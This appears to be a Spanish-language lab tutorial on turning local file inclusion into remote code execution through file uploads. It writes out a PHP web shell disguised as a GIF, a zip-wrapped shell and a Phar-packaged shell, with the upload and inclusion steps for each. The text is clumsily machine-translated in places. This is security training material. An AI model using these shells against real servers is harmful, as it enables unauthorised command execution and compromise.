LFI and File Uploads
Las funciones de carga de archivos son omnipresentes en la mayoría de las aplicaciones web modernas, ya que los usuarios suelen necesitar configurar su perfil y el uso de la aplicación web subiendo sus datos. Para los atacantes, la capacidad de almacenar archivos en el servidor backend puede ampliar la posibilidad de explotar numerosas vulnerabilidades, como la de inclusión de archivos.
El módulo "Ataques de Carga de Archivos" abarca diferentes técnicas para explotar los formularios y funcionalidades de carga de archivos. Sin embargo, para el ataque que analizaremos en esta sección, no es necesario que el formulario de carga de archivos sea vulnerable, sino simplemente permitir la carga de archivos. Si la función vulnerable tiene Executecapacidades de código, el código del archivo que carguemos se ejecutará si lo incluimos, independientemente de su extensión o tipo. Por ejemplo, podemos cargar un archivo de imagen (p. ej image.jpg., [nombre del archivo]) y almacenar código PHP de web shell en él en lugar de datos de imagen. Si lo incluimos a través de la vulnerabilidad LFI, el código PHP se ejecutará y tendremos ejecución remota de código.
Como se mencionó en la primera sección, las siguientes son las funciones que permiten ejecutar código con inclusión de archivos, cualquiera de las cuales funcionaría con los ataques de esta sección:
Función
Leer contenido
Ejecutar
URL remota
PHP
include()/include_once()
✅
✅
✅
require()/require_once()
✅
✅
❌
NodeJS
res.render()
✅
✅
❌
Java
import
✅
✅
✅
.NETO
include
✅
✅
✅
Carga de imágenes
Subir imágenes es muy común en la mayoría de las aplicaciones web modernas, ya que se considera seguro si la función de carga está codificada de forma segura. Sin embargo, como se mencionó anteriormente, la vulnerabilidad, en este caso, no reside en el formato de carga de archivos, sino en la funcionalidad de inclusión de archivos.
Creación de imágenes maliciosas
Nuestro primer paso es crear una imagen maliciosa que contenga código web shell PHP que siga funcionando como una imagen. Por lo tanto, usaremos una extensión de imagen permitida en el nombre del archivo (p. ej., shell.gif), e incluiremos los bytes mágicos de la imagen al principio del contenido (p. ej., GIF8), por si el formulario de carga comprueba tanto la extensión como el tipo de contenido. Podemos hacerlo de la siguiente manera:
echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gifEste archivo por sí solo es completamente inofensivo y no afectaría en lo más mínimo a las aplicaciones web normales. Sin embargo, si lo combinamos con una vulnerabilidad LFI, podríamos lograr la ejecución remota de código.
Ahora, necesitamos subir nuestro archivo de imagen maliciosa. Para ello, podemos ir a la Profile Settingspágina y hacer clic en la imagen de avatar para seleccionarla. Luego, hacer clic en "Subir". La imagen se subirá correctamente.

Ruta del archivo cargado
Una vez cargado el archivo, solo tenemos que incluirlo a través de la vulnerabilidad LFI. Para incluirlo, necesitamos conocer su ruta. En la mayoría de los casos, especialmente con imágenes, accederíamos al archivo cargado y podríamos obtener su ruta desde su URL. En nuestro caso, si inspeccionamos el código fuente después de cargar la imagen, podemos obtener su URL:
<img src="/profile_images/shell.gif" class="profile-image" id="profile-image">Con la ruta del archivo cargado a mano, todo lo que necesitamos hacer es incluir el archivo cargado en la función vulnerable LFI, y el código PHP debería ejecutarse de la siguiente manera:

Como podemos ver, incluimos nuestro archivo y ejecutamos el idcomando con éxito.
Carga de archivo ZIP
Como se mencionó anteriormente, la técnica anterior es muy confiable y debería funcionar en la mayoría de los casos y con la mayoría de los frameworks web, siempre que la función vulnerable permita la ejecución de código. Existen otras técnicas exclusivas de PHP que utilizan wrappers de PHP para lograr el mismo objetivo. Estas técnicas pueden resultar útiles en algunos casos específicos donde la técnica anterior no funciona.
Podemos usar el contenedor zip para ejecutar código PHP. Sin embargo, este contenedor no está habilitado por defecto, por lo que este método podría no funcionar siempre. Para ello, podemos empezar creando un script web shell PHP y comprimiéndolo en un archivo zip (llamado shell.jpg), como se indica a continuación:
echo '<?php system($_GET["cmd"]); ?>' > shell.php && zip shell.jpg shell.phpUna vez cargado el shell.jpgarchivo, podemos incluirlo con el zipcontenedor como ( zip://shell.jpg) y luego hacer referencia a cualquier archivo que contenga con #shell.php(URL codificada). Finalmente, podemos ejecutar comandos como siempre con &cmd=id, como se indica a continuación:

Como podemos ver, este método también funciona al ejecutar comandos a través de scripts PHP comprimidos.
Subida de Phar
Finalmente, podemos usar el phar://wrapper para lograr un resultado similar. Para ello, primero escribiremos el siguiente script PHP en un shell.phparchivo:
<?php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '<?php system($_GET["cmd"]); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();Este script se puede compilar en un phararchivo que, al ser llamado, escribiría un shell web en un shell.txtsubarchivo con el que podemos interactuar. Podemos compilarlo en un phararchivo y renombrarlo shell.jpgcomo sigue:
php --define phar.readonly=0 shell.php && mv shell.phar shell.jpgAhora, deberíamos tener un archivo phar llamado shell.jpg. Una vez que lo subimos a la aplicación web, podemos simplemente llamarlo con phar://y proporcionar su URL, y luego especificar el subarchivo phar con /shell.txt(URL codificada) para obtener la salida del comando especificado con ( &cmd=id), como se muestra a continuación:

Como podemos ver, el idcomando se ejecutó correctamente. Tanto el método `` zip`` como pharel método ```` deben considerarse alternativas en caso de que el primero no funcionara, ya que el primero que analizamos es el más confiable de los tres.
Last updated